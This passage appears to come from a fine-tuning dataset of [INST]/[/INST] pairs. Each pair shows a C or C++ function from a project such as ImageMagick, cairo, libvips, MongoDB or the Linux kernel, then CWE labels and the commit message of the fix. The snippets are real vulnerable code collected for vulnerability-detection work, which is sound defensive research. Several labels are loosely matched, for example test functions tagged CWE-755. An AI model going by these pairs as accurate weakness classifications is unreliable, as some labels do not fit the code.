ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n bmp_data=(unsigned char *) GetVirtualMemoryBlob(rle_info);\n bmp_info.file_size-=bmp_info.image_size;\n bmp_info.image_size=(unsigned int) EncodeImage(image,bytes_per_line,\n pixels,bmp_data);\n bmp_info.file_size+=bmp_info.image_size;\n pixel_info=RelinquishVirtualMemory(pixel_info);\n pixel_info=rle_info;\n pixels=bmp_data;\n bmp_info.compression=BI_RLE8;\n }\n /*\n Write BMP for Windows, all versions, 14-byte header.\n */\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing BMP version %.20g datastream\",(double) type);\n if (image->storage_class == DirectClass)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Storage class=DirectClass\");\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Storage class=PseudoClass\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Image depth=%.20g\",(double) image->depth);\n if (image->alpha_trait != UndefinedPixelTrait)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Matte=True\");\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Matte=MagickFalse\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" BMP bits_per_pixel=%.20g\",(double) bmp_info.bits_per_pixel);\n switch ((int) bmp_info.compression)\n {\n case BI_RGB:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression=BI_RGB\");\n break;\n }\n case BI_RLE8:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression=BI_RLE8\");\n break;\n }\n case BI_BITFIELDS:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression=BI_BITFIELDS\");\n break;\n }\n default:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression=UNKNOWN (%u)\",bmp_info.compression);\n break;\n }\n }\n if (bmp_info.number_colors == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Number_colors=unspecified\");\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Number_colors=%u\",bmp_info.number_colors);\n }\n profile_data=0;\n profile_size=0;\n profile_size_pad=0;\n if (profile != (StringInfo *) NULL)\n {\n profile_data=(MagickOffsetType) bmp_info.file_size-14; /* from head of BMP info header */\n profile_size=(MagickOffsetType) GetStringInfoLength(profile);\n if ((profile_size % 4) > 0)\n profile_size_pad=4-(profile_size%4);\n bmp_info.file_size+=profile_size+profile_size_pad;\n }\n (void) WriteBlob(image,2,(unsigned char *) \"BM\");\n (void) WriteBlobLSBLong(image,bmp_info.file_size);\n (void) WriteBlobLSBLong(image,bmp_info.ba_offset); /* always 0 */\n (void) WriteBlobLSBLong(image,bmp_info.offset_bits);\n if (type == 2)\n {\n /*\n Write 12-byte version 2 bitmap header.\n */\n (void) WriteBlobLSBLong(image,bmp_info.size);\n (void) WriteBlobLSBSignedShort(image,(signed short) bmp_info.width);\n (void) WriteBlobLSBSignedShort(image,(signed short) bmp_info.height);\n (void) WriteBlobLSBShort(image,bmp_info.planes);\n (void) WriteBlobLSBShort(image,bmp_info.bits_per_pixel);\n }\n else\n {\n /*\n Write 40-byte version 3+ bitmap header.\n */\n (void) WriteBlobLSBLong(image,bmp_info.size);\n (void) WriteBlobLSBSignedLong(image,(signed int) bmp_info.width);\n (void) WriteBlobLSBSignedLong(image,(signed int) bmp_info.height);\n (void) WriteBlobLSBShort(image,bmp_info.planes);\n (void) WriteBlobLSBShort(image,bmp_info.bits_per_pixel);\n (void) WriteBlobLSBLong(image,bmp_info.compression);\n (void) WriteBlobLSBLong(image,bmp_info.image_size);\n (void) WriteBlobLSBLong(image,bmp_info.x_pixels);\n (void) WriteBlobLSBLong(image,bmp_info.y_pixels);\n (void) WriteBlobLSBLong(image,bmp_info.number_colors);\n (void) WriteBlobLSBLong(image,bmp_info.colors_important);\n }\n if ((type > 3) && ((image->alpha_trait != UndefinedPixelTrait) ||\n (have_color_info != MagickFalse)))\n {\n /*\n Write the rest of the 108-byte BMP Version 4 header.\n */\n (void) WriteBlobLSBLong(image,bmp_info.red_mask);\n (void) WriteBlobLSBLong(image,bmp_info.green_mask);\n (void) WriteBlobLSBLong(image,bmp_info.blue_mask);\n (void) WriteBlobLSBLong(image,bmp_info.alpha_mask);\n if (profile != (StringInfo *) NULL)\n (void) WriteBlobLSBLong(image,0x4D424544U); /* PROFILE_EMBEDDED */\n else\n (void) WriteBlobLSBLong(image,0x73524742U); /* sRGB */\n (void) WriteBlobLSBLong(image,(unsigned int)\n (image->chromaticity.red_primary.x*0x40000000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n (image->chromaticity.red_primary.y*0x40000000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n ((1.000f-(image->chromaticity.red_primary.x+\n image->chromaticity.red_primary.y))*0x40000000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n (image->chromaticity.green_primary.x*0x40000000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n (image->chromaticity.green_primary.y*0x40000000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n ((1.000f-(image->chromaticity.green_primary.x+\n image->chromaticity.green_primary.y))*0x40000000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n (image->chromaticity.blue_primary.x*0x40000000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n (image->chromaticity.blue_primary.y*0x40000000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n ((1.000f-(image->chromaticity.blue_primary.x+\n image->chromaticity.blue_primary.y))*0x40000000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n (bmp_info.gamma_scale.x*0x10000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n (bmp_info.gamma_scale.y*0x10000));\n (void) WriteBlobLSBLong(image,(unsigned int)\n (bmp_info.gamma_scale.z*0x10000));\n if ((image->rendering_intent != UndefinedIntent) ||\n (profile != (StringInfo *) NULL))\n {\n ssize_t\n intent;\n\n switch ((int) image->rendering_intent)\n {\n case SaturationIntent:\n {\n intent=LCS_GM_BUSINESS;\n break;\n }\n case RelativeIntent:\n {\n intent=LCS_GM_GRAPHICS;\n break;\n }\n case PerceptualIntent:\n {\n intent=LCS_GM_IMAGES;\n break;\n }\n case AbsoluteIntent:\n {\n intent=LCS_GM_ABS_COLORIMETRIC;\n break;\n }\n default:\n {\n intent=0;\n break;\n }\n }\n (void) WriteBlobLSBLong(image,(unsigned int) intent);\n (void) WriteBlobLSBLong(image,(unsigned int) profile_data);\n (void) WriteBlobLSBLong(image,(unsigned int)\n (profile_size+profile_size_pad));\n (void) WriteBlobLSBLong(image,0x00); /* reserved */\n }\n }\n if (image->storage_class == PseudoClass)\n {\n unsigned char\n *bmp_colormap;\n\n /*\n Dump colormap to file.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Colormap: %.20g entries\",(double) image->colors);\n bmp_colormap=(unsigned char *) AcquireQuantumMemory((size_t) (1UL <<\n bmp_info.bits_per_pixel),4*sizeof(*bmp_colormap));\n if (bmp_colormap == (unsigned char *) NULL)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n q=bmp_colormap;\n for (i=0; i < (ssize_t) MagickMin((ssize_t) image->colors,(ssize_t) bmp_info.number_colors); i++)\n {\n *q++=ScaleQuantumToChar(ClampToQuantum(image->colormap[i].blue));\n *q++=ScaleQuantumToChar(ClampToQuantum(image->colormap[i].green));\n *q++=ScaleQuantumToChar(ClampToQuantum(image->colormap[i].red));\n if (type > 2)\n *q++=(unsigned char) 0x0;\n }\n for ( ; i < (ssize_t) (1UL << bmp_info.bits_per_pixel); i++)\n {\n *q++=(unsigned char) 0x00;\n *q++=(unsigned char) 0x00;\n *q++=(unsigned char) 0x00;\n if (type > 2)\n *q++=(unsigned char) 0x00;\n }\n if (type <= 2)\n (void) WriteBlob(image,(size_t) (3*(1L << bmp_info.bits_per_pixel)),\n bmp_colormap);\n else\n (void) WriteBlob(image,(size_t) (4*(1L << bmp_info.bits_per_pixel)),\n bmp_colormap);\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Pixels: %u bytes\",bmp_info.image_size);\n (void) WriteBlob(image,(size_t) bmp_info.image_size,pixels);\n if (profile != (StringInfo *) NULL)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Profile: %g bytes\",(double) profile_size+profile_size_pad);\n (void) WriteBlob(image,(size_t) profile_size,GetStringInfoDatum(profile));\n if (profile_size_pad > 0) /* padding for 4 bytes multiple */\n (void) WriteBlob(image,(size_t) profile_size_pad,\"\\0\\0\\0\");\n }\n pixel_info=RelinquishVirtualMemory(pixel_info);\n if (GetNextImageInList(image) == (Image *) NULL)\n break;\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,SaveImagesTag,scene++,imageListLength);\n if (status == MagickFalse)\n break;\n } while (image_info->adjoin != MagickFalse);\n (void) CloseBlob(image);\n return(MagickTrue);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1749'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _inplace_spans (void *abstract_renderer,\n\t\tint y, int h,\n\t\tconst cairo_half_open_span_t *spans,\n\t\tunsigned num_spans)\n{\n cairo_image_span_renderer_t *r = abstract_renderer;\n uint8_t *mask;\n int x0, x1;\n\n if (num_spans == 0)\n\treturn CAIRO_STATUS_SUCCESS;\n\n if (num_spans == 2 && spans[0].coverage == 0xff) {\n\tpixman_image_composite32 (r->op, r->src, NULL, r->u.composite.dst,\n\t\t\t\t spans[0].x + r->u.composite.src_x,\n\t\t\t\t y + r->u.composite.src_y,\n\t\t\t\t 0, 0,\n\t\t\t\t spans[0].x, y,\n\t\t\t\t spans[1].x - spans[0].x, h);\n\treturn CAIRO_STATUS_SUCCESS;\n }\n\n mask = (uint8_t *)pixman_image_get_data (r->mask);\n x1 = x0 = spans[0].x;\n do {\n\tint len = spans[1].x - spans[0].x;\n\t*mask++ = spans[0].coverage;\n\tif (len > 1) {\n\t if (len >= r->u.composite.run_length && spans[0].coverage == 0xff) {\n\t\tif (x1 != x0) {\n\t\t pixman_image_composite32 (r->op, r->src, r->mask, r->u.composite.dst,\n\t\t\t\t\t x0 + r->u.composite.src_x,\n\t\t\t\t\t y + r->u.composite.src_y,\n\t\t\t\t\t 0, 0,\n\t\t\t\t\t x0, y,\n\t\t\t\t\t x1 - x0, h);\n\t\t}\n\t\tpixman_image_composite32 (r->op, r->src, NULL, r->u.composite.dst,\n\t\t\t\t\t spans[0].x + r->u.composite.src_x,\n\t\t\t\t\t y + r->u.composite.src_y,\n\t\t\t\t\t 0, 0,\n\t\t\t\t\t spans[0].x, y,\n\t\t\t\t\t len, h);\n\t\tmask = (uint8_t *)pixman_image_get_data (r->mask);\n\t\tx0 = spans[1].x;\n\t } else if (spans[0].coverage == 0x0) {\n\t\tif (x1 != x0) {\n\t\t pixman_image_composite32 (r->op, r->src, r->mask, r->u.composite.dst,\n\t\t\t\t\t x0 + r->u.composite.src_x,\n\t\t\t\t\t y + r->u.composite.src_y,\n\t\t\t\t\t 0, 0,\n\t\t\t\t\t x0, y,\n\t\t\t\t\t x1 - x0, h);\n\t\t}\n\t\tmask = (uint8_t *)pixman_image_get_data (r->mask);\n\t\tx0 = spans[1].x;\n\t }else {\n\t\tmemset (mask, spans[0].coverage, --len);\n\t\tmask += len;\n\t }\n\t}\n\tx1 = spans[1].x;\n\tspans++;\n } while (--num_spans > 1);\n\n if (x1 != x0) {\n\tpixman_image_composite32 (r->op, r->src, r->mask, r->u.composite.dst,\n\t\t\t\t x0 + r->u.composite.src_x,\n\t\t\t\t y + r->u.composite.src_y,\n\t\t\t\t 0, 0,\n\t\t\t\t x0, y,\n\t\t\t\t x1 - x0, h);\n }\n\n return CAIRO_STATUS_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'image: Enable inplace compositing with opacities for general routines\n\nOn a SNB i5-2500:\n\nSpeedups\n========\n firefox-chalkboard 34284.16 -> 19637.40: 1.74x speedup\n swfdec-giant-steps 778.35 -> 665.37: 1.17x speedup\n ocitysmap 485.64 -> 431.94: 1.12x speedup\n\nSlowdowns\n=========\n firefox-fishbowl 46878.98 -> 54407.14: 1.16x slowdown\n\nThat slow down is due to overhead of the increased number of calls to\npixman_image_composite32() (pixman_transform_point for analyzing the\nsource extents in particular) outweighing any advantage gained by\nperforming the rasterisation in a single pass and eliding gaps. The\nsolution that has been floated in the past is for an interface into\npixman to only perform the analysis once and then to return a kernel to\nuse for all spans.\n\nSigned-off-by: Chris Wilson '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: im_vips2dz( IMAGE *in, const char *filename )\n{\n\tchar *p, *q;\n\tchar name[FILENAME_MAX];\n\tchar mode[FILENAME_MAX];\n\tchar buf[FILENAME_MAX];\n\n\tint i;\n\tVipsForeignDzLayout layout = VIPS_FOREIGN_DZ_LAYOUT_DZ; \n\tchar *suffix = \".jpeg\";\n\tint overlap = 0;\n\tint tile_size = 256;\n\tVipsForeignDzDepth depth = VIPS_FOREIGN_DZ_DEPTH_ONEPIXEL; \n\tgboolean centre = FALSE;\n\tVipsAngle angle = VIPS_ANGLE_D0; \n\n\t/* We can't use im_filename_split() --- it assumes that we have a\n\t * filename with an extension before the ':', and filename here is\n\t * actually a dirname.\n\t *\n\t * Just split on the first ':'.\n\t */\n\tim_strncpy( name, filename, FILENAME_MAX ); \n\tif( (p = strchr( name, ':' )) ) {\n\t\t*p = '\\0';\n\t\tim_strncpy( mode, p + 1, FILENAME_MAX ); \n\t}\n\n\tstrcpy( buf, mode ); \n\tp = &buf[0];\n\n\tif( (q = im_getnextoption( &p )) ) {\n\t\tif( (i = vips_enum_from_nick( \"im_vips2dz\", \n\t\t\tVIPS_TYPE_FOREIGN_DZ_LAYOUT, q )) < 0 ) \n\t\t\treturn( -1 );\n\t\tlayout = i;\n\t}\n\n\tif( (q = im_getnextoption( &p )) ) \n\t\tsuffix = g_strdup( q );\n\tif( (q = im_getnextoption( &p )) ) \n\t\toverlap = atoi( q ); \n\tif( (q = im_getnextoption( &p )) ) \n\t\ttile_size = atoi( q ); \n\n\tif( (q = im_getnextoption( &p )) ) {\n\t\tif( (i = vips_enum_from_nick( \"im_vips2dz\", \n\t\t\tVIPS_TYPE_FOREIGN_DZ_DEPTH, q )) < 0 )\n\t\t\treturn( -1 );\n\t\tdepth = i;\n\t}\n\n\tif( (q = im_getnextoption( &p )) ) {\n\t\tif( im_isprefix( \"cen\", q ) ) \n\t\t\tcentre = TRUE;\n\t}\n\n\tif( (q = im_getnextoption( &p )) ) {\n\t\tif( (i = vips_enum_from_nick( \"im_vips2dz\", \n\t\t\tVIPS_TYPE_ANGLE, q )) < 0 )\n\t\t\treturn( -1 );\n\t\tangle = i;\n\t}\n\n\tif( vips_dzsave( in, name,\n\t\t\"layout\", layout,\n\t\t\"suffix\", suffix,\n\t\t\"overlap\", overlap,\n\t\t\"tile_size\", tile_size,\n\t\t\"depth\", depth,\n\t\t\"centre\", centre,\n\t\t\"angle\", angle,\n\t\tNULL ) )\n\t\treturn( -1 );\n\n\treturn( 0 );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-369', 'CWE-908'], 'message': 'fix a used-before-set error in im_vips2dz\n\nwe were reading an uninited string in a vips7 compatibility wrapper, thanks\nyifengchen-cc\n\nsee https://github.com/libvips/libvips/issues/1419'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST(IndexBoundsBuilderTest, TranslateNotEqualToNullShouldBuildInexactBoundsIfIndexIsMultiKey) {\n BSONObj indexPattern = BSON(\"a\" << 1);\n auto testIndex = buildSimpleIndexEntry(indexPattern);\n testIndex.multikey = true;\n\n BSONObj matchObj = BSON(\"a\" << BSON(\"$ne\" << BSONNULL));\n auto expr = parseMatchExpression(matchObj);\n\n OrderedIntervalList oil;\n IndexBoundsBuilder::BoundsTightness tightness;\n IndexBoundsBuilder::translate(\n expr.get(), indexPattern.firstElement(), testIndex, &oil, &tightness);\n\n ASSERT_EQUALS(oil.name, \"a\");\n ASSERT_EQUALS(tightness, IndexBoundsBuilder::INEXACT_FETCH);\n assertBoundsRepresentNotEqualsNull(oil);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-754'], 'message': 'SERVER-44377 generate correct plan for indexed inequalities to null'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: JsonServerSelectionTestCase(fs::path testFilePath) {\n parseTest(testFilePath);\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-755'], 'message': 'SERVER-50170 fix max staleness read preference parameter for server selection'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST_F(ServerSelectorTestFixture, ShouldFilterCorrectlyByLatencyWindow) {\n const auto delta = Milliseconds(10);\n const auto windowWidth = Milliseconds(100);\n const auto lowerBound = Milliseconds(100);\n\n auto window = LatencyWindow(lowerBound, windowWidth);\n\n std::vector servers = {\n make_with_latency(window.lower - delta, HostAndPort(\"less\")),\n make_with_latency(window.lower, HostAndPort(\"boundary-lower\")),\n make_with_latency(window.lower + delta, HostAndPort(\"within\")),\n make_with_latency(window.upper, HostAndPort(\"boundary-upper\")),\n make_with_latency(window.upper + delta, HostAndPort(\"greater\"))};\n\n window.filterServers(&servers);\n\n ASSERT_EQ(3, servers.size());\n ASSERT_EQ(HostAndPort(\"boundary-lower\"), servers[0]->getAddress());\n ASSERT_EQ(HostAndPort(\"within\"), servers[1]->getAddress());\n ASSERT_EQ(HostAndPort(\"boundary-upper\"), servers[2]->getAddress());\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-755'], 'message': 'SERVER-50170 fix max staleness read preference parameter for server selection'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int resize_runtime_buffer(struct snd_rawmidi_runtime *runtime,\n\t\t\t\t struct snd_rawmidi_params *params,\n\t\t\t\t bool is_input)\n{\n\tchar *newbuf, *oldbuf;\n\n\tif (params->buffer_size < 32 || params->buffer_size > 1024L * 1024L)\n\t\treturn -EINVAL;\n\tif (params->avail_min < 1 || params->avail_min > params->buffer_size)\n\t\treturn -EINVAL;\n\tif (params->buffer_size != runtime->buffer_size) {\n\t\tnewbuf = kvzalloc(params->buffer_size, GFP_KERNEL);\n\t\tif (!newbuf)\n\t\t\treturn -ENOMEM;\n\t\tspin_lock_irq(&runtime->lock);\n\t\toldbuf = runtime->buffer;\n\t\truntime->buffer = newbuf;\n\t\truntime->buffer_size = params->buffer_size;\n\t\t__reset_runtime_ptrs(runtime, is_input);\n\t\tspin_unlock_irq(&runtime->lock);\n\t\tkvfree(oldbuf);\n\t}\n\truntime->avail_min = params->avail_min;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'ALSA: rawmidi: Fix racy buffer resize under concurrent accesses\n\nThe rawmidi core allows user to resize the runtime buffer via ioctl,\nand this may lead to UAF when performed during concurrent reads or\nwrites: the read/write functions unlock the runtime lock temporarily\nduring copying form/to user-space, and that's the race window.\n\nThis patch fixes the hole by introducing a reference counter for the\nruntime buffer read/write access and returns -EBUSY error when the\nresize is performed concurrently against read/write.\n\nNote that the ref count field is a simple integer instead of\nrefcount_t here, since the all contexts accessing the buffer is\nbasically protected with a spinlock, hence we need no expensive atomic\nops. Also, note that this busy check is needed only against read /\nwrite functions, and not in receive/transmit callbacks; the race can\nhappen only at the spinlock hole mentioned in the above, while the\nwhole function is protected for receive / transmit callbacks.\n\nReported-by: butt3rflyh4ck \nCc: \nLink: https://lore.kernel.org/r/CAFcO6XMWpUVK_yzzCpp8_XP7+=oUpQvuBeCbMffEDkpe8jWrfg@mail.gmail.com\nLink: https://lore.kernel.org/r/s5heerw3r5z.wl-tiwai@suse.de\nSigned-off-by: Takashi Iwai '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int hfi1_file_open(struct inode *inode, struct file *fp)\n{\n\tstruct hfi1_filedata *fd;\n\tstruct hfi1_devdata *dd = container_of(inode->i_cdev,\n\t\t\t\t\t struct hfi1_devdata,\n\t\t\t\t\t user_cdev);\n\n\tif (!((dd->flags & HFI1_PRESENT) && dd->kregbase1))\n\t\treturn -EINVAL;\n\n\tif (!atomic_inc_not_zero(&dd->user_refcount))\n\t\treturn -ENXIO;\n\n\t/* The real work is performed later in assign_ctxt() */\n\n\tfd = kzalloc(sizeof(*fd), GFP_KERNEL);\n\n\tif (!fd || init_srcu_struct(&fd->pq_srcu))\n\t\tgoto nomem;\n\tspin_lock_init(&fd->pq_rcu_lock);\n\tspin_lock_init(&fd->tid_lock);\n\tspin_lock_init(&fd->invalid_lock);\n\tfd->rec_cpu_num = -1; /* no cpu affinity by default */\n\tfd->mm = current->mm;\n\tmmgrab(fd->mm);\n\tfd->dd = dd;\n\tfp->private_data = fd;\n\treturn 0;\nnomem:\n\tkfree(fd);\n\tfp->private_data = NULL;\n\tif (atomic_dec_and_test(&dd->user_refcount))\n\t\tcomplete(&dd->user_comp);\n\treturn -ENOMEM;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'IB/hfi1: Ensure correct mm is used at all times\n\nTwo earlier bug fixes have created a security problem in the hfi1\ndriver. One fix aimed to solve an issue where current->mm was not valid\nwhen closing the hfi1 cdev. It attempted to do this by saving a cached\nvalue of the current->mm pointer at file open time. This is a problem if\nanother process with access to the FD calls in via write() or ioctl() to\npin pages via the hfi driver. The other fix tried to solve a use after\nfree by taking a reference on the mm.\n\nTo fix this correctly we use the existing cached value of the mm in the\nmmu notifier. Now we can check in the insert, evict, etc. routines that\ncurrent->mm matched what the notifier was registered for. If not, then\ndon't allow access. The register of the mmu notifier will save the mm\npointer.\n\nSince in do_exit() the exit_mm() is called before exit_files(), which\nwould call our close routine a reference is needed on the mm. We rely on\nthe mmgrab done by the registration of the notifier, whereas before it was\nexplicit. The mmu notifier deregistration happens when the user context is\ntorn down, the creation of which triggered the registration.\n\nAlso of note is we do not do any explicit work to protect the interval\ntree notifier. It doesn't seem that this is going to be needed since we\naren't actually doing anything with current->mm. The interval tree\nnotifier stuff still has a FIXME noted from a previous commit that will be\naddressed in a follow on patch.\n\nCc: \nFixes: e0cf75deab81 (\"IB/hfi1: Fix mm_struct use after free\")\nFixes: 3faa3d9a308e (\"IB/hfi1: Make use of mm consistent\")\nLink: https://lore.kernel.org/r/20201125210112.104301.51331.stgit@awfm-01.aw.intel.com\nSuggested-by: Jann Horn \nReported-by: Jason Gunthorpe \nReviewed-by: Ira Weiny \nReviewed-by: Mike Marciniszyn \nSigned-off-by: Dennis Dalessandro \nSigned-off-by: Jason Gunthorpe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void hfi1_mmu_rb_evict(struct mmu_rb_handler *handler, void *evict_arg)\n{\n\tstruct mmu_rb_node *rbnode, *ptr;\n\tstruct list_head del_list;\n\tunsigned long flags;\n\tbool stop = false;\n\n\tINIT_LIST_HEAD(&del_list);\n\n\tspin_lock_irqsave(&handler->lock, flags);\n\tlist_for_each_entry_safe_reverse(rbnode, ptr, &handler->lru_list,\n\t\t\t\t\t list) {\n\t\tif (handler->ops->evict(handler->ops_arg, rbnode, evict_arg,\n\t\t\t\t\t&stop)) {\n\t\t\t__mmu_int_rb_remove(rbnode, &handler->root);\n\t\t\t/* move from LRU list to delete list */\n\t\t\tlist_move(&rbnode->list, &del_list);\n\t\t}\n\t\tif (stop)\n\t\t\tbreak;\n\t}\n\tspin_unlock_irqrestore(&handler->lock, flags);\n\n\twhile (!list_empty(&del_list)) {\n\t\trbnode = list_first_entry(&del_list, struct mmu_rb_node, list);\n\t\tlist_del(&rbnode->list);\n\t\thandler->ops->remove(handler->ops_arg, rbnode);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'IB/hfi1: Ensure correct mm is used at all times\n\nTwo earlier bug fixes have created a security problem in the hfi1\ndriver. One fix aimed to solve an issue where current->mm was not valid\nwhen closing the hfi1 cdev. It attempted to do this by saving a cached\nvalue of the current->mm pointer at file open time. This is a problem if\nanother process with access to the FD calls in via write() or ioctl() to\npin pages via the hfi driver. The other fix tried to solve a use after\nfree by taking a reference on the mm.\n\nTo fix this correctly we use the existing cached value of the mm in the\nmmu notifier. Now we can check in the insert, evict, etc. routines that\ncurrent->mm matched what the notifier was registered for. If not, then\ndon't allow access. The register of the mmu notifier will save the mm\npointer.\n\nSince in do_exit() the exit_mm() is called before exit_files(), which\nwould call our close routine a reference is needed on the mm. We rely on\nthe mmgrab done by the registration of the notifier, whereas before it was\nexplicit. The mmu notifier deregistration happens when the user context is\ntorn down, the creation of which triggered the registration.\n\nAlso of note is we do not do any explicit work to protect the interval\ntree notifier. It doesn't seem that this is going to be needed since we\naren't actually doing anything with current->mm. The interval tree\nnotifier stuff still has a FIXME noted from a previous commit that will be\naddressed in a follow on patch.\n\nCc: \nFixes: e0cf75deab81 (\"IB/hfi1: Fix mm_struct use after free\")\nFixes: 3faa3d9a308e (\"IB/hfi1: Make use of mm consistent\")\nLink: https://lore.kernel.org/r/20201125210112.104301.51331.stgit@awfm-01.aw.intel.com\nSuggested-by: Jann Horn \nReported-by: Jason Gunthorpe \nReviewed-by: Ira Weiny \nReviewed-by: Mike Marciniszyn \nSigned-off-by: Dennis Dalessandro \nSigned-off-by: Jason Gunthorpe '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: look_for_existing_users_sync (GdmDisplay *self)\n{\n GdmDisplayPrivate *priv;\n GError *error = NULL;\n GVariant *call_result;\n GVariant *user_list;\n\n priv = gdm_display_get_instance_private (self);\n priv->accountsservice_proxy = g_dbus_proxy_new_sync (priv->connection,\n 0, NULL,\n \"org.freedesktop.Accounts\",\n \"/org/freedesktop/Accounts\",\n \"org.freedesktop.Accounts\",\n NULL,\n &error);\n\n if (!priv->accountsservice_proxy) {\n g_critical (\"Failed to contact accountsservice: %s\", error->message);\n goto out;\n }\n\n call_result = g_dbus_proxy_call_sync (priv->accountsservice_proxy,\n \"ListCachedUsers\",\n NULL,\n 0,\n -1,\n NULL,\n &error);\n\n if (!call_result) {\n g_critical (\"Failed to list cached users: %s\", error->message);\n goto out;\n }\n\n g_variant_get (call_result, \"(@ao)\", &user_list);\n priv->have_existing_user_accounts = g_variant_n_children (user_list) > 0;\n g_variant_unref (user_list);\n g_variant_unref (call_result);\nout:\n g_clear_error (&error);\n return priv->accountsservice_proxy != NULL && call_result != NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-754'], 'message': 'display: Use autoptr to handle errors in look for existing users\n\nIt will make things just cleaner'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int __do_execve_file(int fd, struct filename *filename,\n\t\t\t struct user_arg_ptr argv,\n\t\t\t struct user_arg_ptr envp,\n\t\t\t int flags, struct file *file)\n{\n\tchar *pathbuf = NULL;\n\tstruct linux_binprm *bprm;\n\tstruct files_struct *displaced;\n\tint retval;\n\n\tif (IS_ERR(filename))\n\t\treturn PTR_ERR(filename);\n\n\t/*\n\t * We move the actual failure in case of RLIMIT_NPROC excess from\n\t * set*uid() to execve() because too many poorly written programs\n\t * don't check setuid() return code. Here we additionally recheck\n\t * whether NPROC limit is still exceeded.\n\t */\n\tif ((current->flags & PF_NPROC_EXCEEDED) &&\n\t atomic_read(¤t_user()->processes) > rlimit(RLIMIT_NPROC)) {\n\t\tretval = 